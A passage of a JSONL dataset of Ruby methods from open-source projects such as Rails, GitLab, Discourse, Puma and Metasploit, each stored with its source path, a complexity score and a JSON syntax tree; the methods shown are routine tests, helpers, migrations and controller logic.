\\\\(http\\\\S+\\\\)\\\\Z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offenses\"]},\"empty?\"]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@offending_files_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@progressbar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@progressbar\"]},\"increment\"]},null]}]}]}","id":"9a393d3c-e3e2-4e1a-9d75-c4f99ffe49f3"} {"repo_name":"puma","file_path":"./repos/puma/test/test_integration_single.rb","start_line":56,"raw_source":"def test_on_booted_and_on_stopped\n skip_unless_signal_exist? :TERM\n\n cli_server \"test/rackup/hello.ru\", no_wait: true, config: <<~CONFIG\n on_booted { STDOUT.syswrite \"on_booted called\\n\" }\n on_stopped { STDOUT.syswrite \"on_stopped called\\n\" }\n CONFIG\n\n assert wait_for_server_to_include('on_booted called')\n\n Process.kill :TERM, @pid\n\n assert wait_for_server_to_include('on_stopped called')\n\n wait_server 15\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_on_booted_and_on_stopped\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless_signal_exist?\",{\"type\":\"sym\",\"children\":[\"TERM\"]}]},{\"type\":\"send\",\"children\":[null,\"cli_server\",{\"type\":\"str\",\"children\":[\"test/rackup/hello.ru\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_wait\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"on_booted { STDOUT.syswrite \\\"on_booted called\\n\\\" }\\n\"]},{\"type\":\"str\",\"children\":[\"on_stopped { STDOUT.syswrite \\\"on_stopped called\\n\\\" }\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"wait_for_server_to_include\",{\"type\":\"str\",\"children\":[\"on_booted called\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"sym\",\"children\":[\"TERM\"]},{\"type\":\"ivar\",\"children\":[\"@pid\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"wait_for_server_to_include\",{\"type\":\"str\",\"children\":[\"on_stopped called\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_server\",{\"type\":\"int\",\"children\":[15]}]}]}]}","id":"2cfcd36f-84f1-4865-a24a-462c2c695c5b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/work_item/note.rb","start_line":131,"raw_source":"def select_comments_only_filter\n select_filter_with_type('ONLY_COMMENTS')\n\n wait_until do\n has_element?('work-item-filter', text: 'Comments only')\n end\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"select_comments_only_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_filter_with_type\",{\"type\":\"str\",\"children\":[\"ONLY_COMMENTS\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"work-item-filter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Comments only\"]}]}]}]}]}]}]}","id":"6dd0c9b8-f8da-4a7f-aa55-6bdcbeefd47b"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":470,"raw_source":"def test_named_route_with_path_prefix\n rs.draw do\n scope \"my\" do\n get \"page\" => \"content#show_page\", :as => \"page\"\n end\n end\n\n assert_equal(\"http://test.host/my/page\", setup_for_named_route.page_url)\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_named_route_with_path_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"str\",\"children\":[\"my\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"page\"]},{\"type\":\"str\",\"children\":[\"content#show_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"page\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.host/my/page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_for_named_route\"]},\"page_url\"]}]}]}]}","id":"e695fb05-4452-4e57-ad88-e2d4d1c4f9f9"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/auth/confirmations_controller.rb","start_line":87,"raw_source":"def after_confirmation_path_for(_resource_name, user)\n if user.created_by_application && redirect_to_app?\n user.created_by_application.confirmation_redirect_uri\n elsif user_signed_in?\n web_url('start')\n else\n new_user_session_path\n end\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_confirmation_path_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_resource_name\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_by_application\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to_app?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_by_application\"]},\"confirmation_redirect_uri\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"send\",\"children\":[null,\"web_url\",{\"type\":\"str\",\"children\":[\"start\"]}]},{\"type\":\"send\",\"children\":[null,\"new_user_session_path\"]}]}]}]}","id":"1253ccd2-0582-4c57-ac6c-7c11cf58cbe5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/pkcs12/storage.rb","start_line":52,"raw_source":"def pkcs12(options = {}, &block)\n stored_pkcs12_array = filter_pkcs12(options).map do |pkcs12_entry|\n StoredPkcs12.new(pkcs12_entry)\n end\n\n stored_pkcs12_array.each do |stored_pkcs12|\n block.call(stored_pkcs12) if block_given?\n end\n\n stored_pkcs12_array\n end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"pkcs12\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stored_pkcs12_array\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_pkcs12\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkcs12_entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StoredPkcs12\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"pkcs12_entry\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stored_pkcs12_array\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stored_pkcs12\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"stored_pkcs12\"]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"stored_pkcs12_array\"]}]}]}","id":"48387311-5552-4cb1-b259-e58fdb78a842"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/decompressed_archive_size_validator.rb","start_line":117,"raw_source":"def max_bytes\n Gitlab::CurrentSettings.current_application_settings.max_decompressed_archive_size.megabytes\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"max_bytes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"max_decompressed_archive_size\"]},\"megabytes\"]}]}","id":"aa4a4edd-841a-4243-928f-4a8499575624"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_notifier.rb","start_line":35,"raw_source":"def levels\n @notification_levels ||= TopicUser.notification_levels\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"levels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@notification_levels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]}]}]}","id":"6ecbe0f1-2ce2-4d16-bd92-aef765b390fe"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/enterprise/concerns/article.rb","start_line":63,"raw_source":"def generate_article_search_terms\n messages = [\n { role: 'system', content: article_to_search_terms_prompt },\n { role: 'user', content: \"title: #{title} \\n description: #{description} \\n content: #{content}\" }\n ]\n headers = { 'Content-Type' => 'application/json', 'Authorization' => \"Bearer #{ENV.fetch('OPENAI_API_KEY', nil)}\" }\n body = { model: 'gpt-4o', messages: messages, response_format: { type: 'json_object' } }.to_json\n Rails.logger.info \"Requesting Chat GPT with body: #{body}\"\n response = HTTParty.post(openai_api_url, headers: headers, body: body)\n Rails.logger.info \"Chat GPT response: #{response.body}\"\n JSON.parse(response.parsed_response['choices'][0]['message']['content'])['search_terms']\n end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_article_search_terms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"system\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"article_to_search_terms_prompt\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"title: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"str\",\"children\":[\" \\n description: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\" \\n content: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"OPENAI_API_KEY\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"str\",\"children\":[\"gpt-4o\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"lvar\",\"children\":[\"messages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_format\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"json_object\"]}]}]}]}]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting Chat GPT with body: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTParty\"]},\"post\",{\"type\":\"send\",\"children\":[null,\"openai_api_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Chat GPT response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"parsed_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"choices\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]}]},\"[]\",{\"type\":\"str\",\"children\":[\"search_terms\"]}]}]}]}","id":"a0ee42af-f89b-4ff9-ae61-853c20340ec6"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/db/migrate/20210225230057_create_chat_tables.rb","start_line":4,"raw_source":"def change\n create_table :topic_chats do |t|\n t.integer :topic_id, null: false, index: true, unique: true\n t.datetime :deleted_at\n t.integer :deleted_by_id\n\n t.integer :featured_in_category_id\n t.integer :delete_after_seconds, default: nil\n end\n\n create_table :topic_chat_messages do |t|\n t.integer :topic_id, null: false\n t.integer :post_id, null: false, index: true\n t.integer :user_id, null: true\n t.timestamps\n t.datetime :deleted_at\n t.integer :deleted_by_id\n t.integer :in_reply_to_id, null: true\n t.text :message\n end\n\n add_index :topic_chat_messages, %i[topic_id created_at]\n end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"topic_chats\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"deleted_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"deleted_by_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"featured_in_category_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"delete_after_seconds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"topic_chat_messages\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"deleted_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"deleted_by_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"in_reply_to_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"topic_chat_messages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}]}","id":"b1672b32-cb63-4fc6-abb4-43980016dbf5"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":1512,"raw_source":"def test_resources_with_format_false_from_scope\n draw do\n scope format: false do\n resources :posts\n resource :user\n end\n end\n\n get \"/posts\"\n assert_response :success\n assert_equal \"posts#index\", @response.body\n assert_equal \"/posts\", posts_path\n\n get \"/posts.html\"\n assert_response :not_found\n assert_equal \"Not Found\", @response.body\n assert_equal \"/posts?format=html\", posts_path(format: \"html\")\n\n get \"/user\"\n assert_response :success\n assert_equal \"users#show\", @response.body\n assert_equal \"/user\", user_path\n\n get \"/user.html\"\n assert_response :not_found\n assert_equal \"Not Found\", @response.body\n assert_equal \"/user?format=html\", user_path(format: \"html\")\n end","complexity_score":32.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resources_with_format_false_from_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/posts\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"posts#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/posts\"]},{\"type\":\"send\",\"children\":[null,\"posts_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/posts.html\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Not Found\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/posts?format=html\"]},{\"type\":\"send\",\"children\":[null,\"posts_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"html\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/user\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"users#show\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/user\"]},{\"type\":\"send\",\"children\":[null,\"user_path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/user.html\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Not Found\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/user?format=html\"]},{\"type\":\"send\",\"children\":[null,\"user_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"html\"]}]}]}]}]}]}]}","id":"0f229836-9974-4608-90f6-4a01ea496e8a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/path_regex.rb","start_line":193,"raw_source":"def repository_route_regex\n @repository_route_regex ||= /(#{full_namespace_route_regex}|#{personal_snippet_repository_path_regex})\\.*/\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_route_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository_route_regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_namespace_route_regex\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"personal_snippet_repository_path_regex\"]}]},{\"type\":\"str\",\"children\":[\")\\\\.*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}","id":"c77cf154-0ab3-45d6-b98d-4b9cb530ccac"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/spec/system/page_objects/discourse_calendar/upcoming_events.rb","start_line":144,"raw_source":"def has_event_height?(title, expected_height)\n height = get_event_height(title)\n height >= expected_height - 1 && height <= expected_height + 1\n end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"has_event_height?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"expected_height\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"height\",{\"type\":\"send\",\"children\":[null,\"get_event_height\",{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"height\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_height\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"height\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_height\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"f43963cc-ab82-4f89-957f-37438a483b09"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/storage/base.rb","start_line":55,"raw_source":"def size\n @adap.size\n rescue\n raise GenericError, $!\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@adap\"]},\"size\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"GenericError\"]},{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]},null]}]}","id":"7afdf8f0-84b1-49d8-908c-03ccb492d84c"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/select_manager.rb","start_line":223,"raw_source":"def lateral(table_name = nil)\n base = table_name.nil? ? ast : as(table_name)\n Nodes::Lateral.new(base)\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lateral\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"table_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"ast\"]},{\"type\":\"send\",\"children\":[null,\"as\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Lateral\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"base\"]}]}]}]}","id":"b0a7d507-c055-4bc5-8ee1-271bd0d43ae8"} {"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":152,"raw_source":"def peek_release_header?\n @buffer.peek(RELEASE_HEADER.length) == RELEASE_HEADER\n 